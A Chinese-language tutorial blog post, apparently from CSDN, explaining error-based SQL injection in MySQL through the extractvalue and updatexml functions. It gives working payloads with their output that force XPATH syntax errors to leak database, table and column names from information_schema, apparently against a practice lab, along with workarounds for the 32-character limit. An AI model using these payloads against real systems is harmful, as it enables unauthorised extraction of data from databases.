sql注入中报错注入函数extractvalue和updatexml函数的原理及使用

extractvalue函数原理

这是一个对xml文件进行查询的函数,更准确地说,它是会从目标xml文件中返回所包含查询值的字符串,标准语法为:

extractvalue('XML_document','Xpath_string')
//即
extractvalue('目标xml文件名','在xml中查询的字符串')

看得出来第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径
/该xml文件/要查询的字符串 进行查询(这里涉及到Xpath语法,未了解深,不知道此处表达是否会有误),如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。

  • 此处的XML_document可以是anything。

示例

本文mysql版本:5.7.26
Xpath没问题的情况下

mysql> select (extractvalue(1,(database())));
+--------------------------------+
| (extractvalue(1,(database()))) |
+--------------------------------+
|                                |
+--------------------------------+
1 row in set (0.00 sec)
//在1中查询不到database()的结果,但是也没有语法错误,所以不会报错

concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串

mysql> select (extractvalue(1,concat(0x7e,database())));
ERROR 1105 (HY000): XPATH syntax error: '~security'

修改database()部分可以爆表、列、值。

值得注意的是,extractvalue函数一次只能查询32位长度,在爆表、列、值的时候

  1. 需要加上limit x,1逐一查询
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select table_name from 
    information_schema.tables where table_schema = 'security' limit 0,1))));
    ERROR 1105 (HY000): XPATH syntax error: '~emails'
    
  2. 用group_concat函数把查询结果分组聚合,然后用and xxxxx not in 'xxx','xxx'过滤掉前面回显的
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
    information_schema.columns where table_name= 'users' ))));
    ERROR 1105 (HY000): XPATH syntax error: '~user_id,first_name,last_name,us'
    //以上用group_concat未过滤的只能显示32位长度
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
    information_schema.columns where table_name= 'users' and column_name not in ('user_id','first_name','last_name')))));
    ERROR 1105 (HY000): XPATH syntax error: '~user,password,avatar,last_login'
    //注意:我在编辑md时手动回车了。
    
  3. substring()函数截取
    mysql> select (extractvalue(1,concat(0x7e,substring(hex((select database())),1,32))));
    ERROR 1105 (HY000): XPATH syntax error: '~7365637572697479'
    //substring(hex(aaa),x,y)中,x为从起始偏移值,y为长度,可变
    

updatexml函数

顺便讲一下这个函数,跟extractvalue基本相同。
顾名思义,这是个修改xml文件的函数,标准语法为:

updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')

其他都一样。
PS:据说高版本的mysql已经修复了该bug

示例

这里只给报错payload:

mysql> select (updatexml(1,concat(0x7e,(database()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~security~'
//第二个0x7e可以略去,但是第二个1不可略去,会导致函数不完整的报错

bye

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页